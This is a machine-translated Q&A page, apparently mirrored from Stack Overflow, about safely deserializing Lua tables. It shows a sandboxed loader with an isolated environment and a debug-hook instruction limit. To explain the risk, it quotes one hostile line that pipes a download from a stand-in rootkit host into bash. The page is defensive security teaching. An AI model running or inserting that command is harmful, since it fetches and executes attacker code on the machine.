Lua中的反序列化 [英] Deserialization in Lua

查看:439
本文介绍了Lua中的反序列化的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我已经在lua中序列化了一个表.lua有反序列化的功能吗?

I have already serialized a table in lua.Does lua have any function to deserialize it?

function dump(o)
   if type(o) == 'table' then
   local s = '{ '
   for k,v in pairs(o) do
      if type(k) ~= 'number' then k = '"'..k..'"' end
      s = s .. '['..k..'] = ' .. dump(v) .. ','
   end
   return s .. '} '
   else
      return tostring(o)
   end
end

local people = {
   {
      name = "Fred",
      address = "16 Long Street",
      phone = "123456"
   },

   {
      name = "Wilma",
      address = "16 Long Street",
      phone = "123456"
   },

   {
      name = "Barney",
      address = "17 Long Street",
      phone = "123457"
   }

}
file = io.open("test.lua", "a")
file:write("People:", dump(people))

该程序的输出为:
人物:{[1] = {[电话"] = 123456,[名称"] =弗雷德,[地址"] = 16长街,},[2] = {[电话"] = 123456,[ 名称"] = Wilma, [地址"] = 16 Long Street,},[3] = {[电话"] = 123457,["name"] = Barney,["address"] = 17 Long Street,},}

The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma, ["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}

请提出一种在lua中反序列化它的方法.

Please suggest a way to Deserialize it in lua.

推荐答案

如果您稍稍更改代码...

If you slightly change your code…

...
         end
         return s .. '} '
+++   elseif type(o) == 'string' then
+++      return ("%q"):format( o )
      else
        return tostring(o)
      end
...

...您生成有效的Lua.

…you generate valid Lua.

现在您可以

local function condfail( cond, ... )
    if not cond then  return nil, (...) end
    return ...
end

function deserialize( str, vars )
    -- create dummy environment
    local env = vars and setmetatable( {}, {__index=vars} ) or {}
    -- create function that returns deserialized value(s)
    local f, _err = load( "return "..str, "=deserialize", "t", env )
    if not f then  return nil, _err  end -- syntax error?
    -- set up safe runner
    local co = coroutine.create( f )
    local hook = function( )  debug.sethook( co, error, "c", 1000000 )  end
    debug.sethook( co, hook, "c" )
    -- now run the deserialization
    return condfail( coroutine.resume( co ) )
end

以合理安全的方式反序列化数据.

to deserialize the data in a reasonably safe way.

反序列化数据的不安全方法是简单地load( "return "..str )( ),但这将允许运行任意Lua代码.

The unsafe way to deserialize the data would be to simply load( "return "..str )( ), but that would permit running arbitrary Lua code.

首先,我们将函数放在单独的环境中,这样它就不会影响全局环境. (否则,做print = function() os.execute "curl rootkit.evil.com | bash" end会将函数替换为稍后在不同(不受保护)的上下文中调用的函数,并运行任意代码.)为方便起见,您可以传入一个表,以便数据可以引用pre-定义的变量. (您可能不需要这个,但是如果您需要预定义的常量,这就是提供它们的方法.)

First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)

接下来,我们在单独的协程中运行该函数,因此我们可以设置一个不影响程序其余部分的调试钩子.然后我们可以通过有效设置debug.sethook( co, error, "c" )来禁止执行任何函数调用. (由于对"is"/返回数据的函数的初始调用已经触发了此操作,因此将其延迟一次调用.因此,我们设置了一个钩子,将其在调用时更改为error.)

Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ). (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)

现在,所有函数调用都被禁止,外部代码也不受运行代码的影响.攻击者唯一可以做的就是浪费时间-例如像while true do end::x:: goto x这样的无穷循环.因此,在设置挂钩– debug.sethook( co, error, "c", 1000000 )时,我们还设置了最大指令数.一百万条指令对于相对较大的文件应该足够了.这是一个任意限制-如果太小则增加它. (在一个循环中最多可以计数250000,因此可以创建多个以上的原始值).

Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end or ::x:: goto x. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ). One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).

这篇关于Lua中的反序列化的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆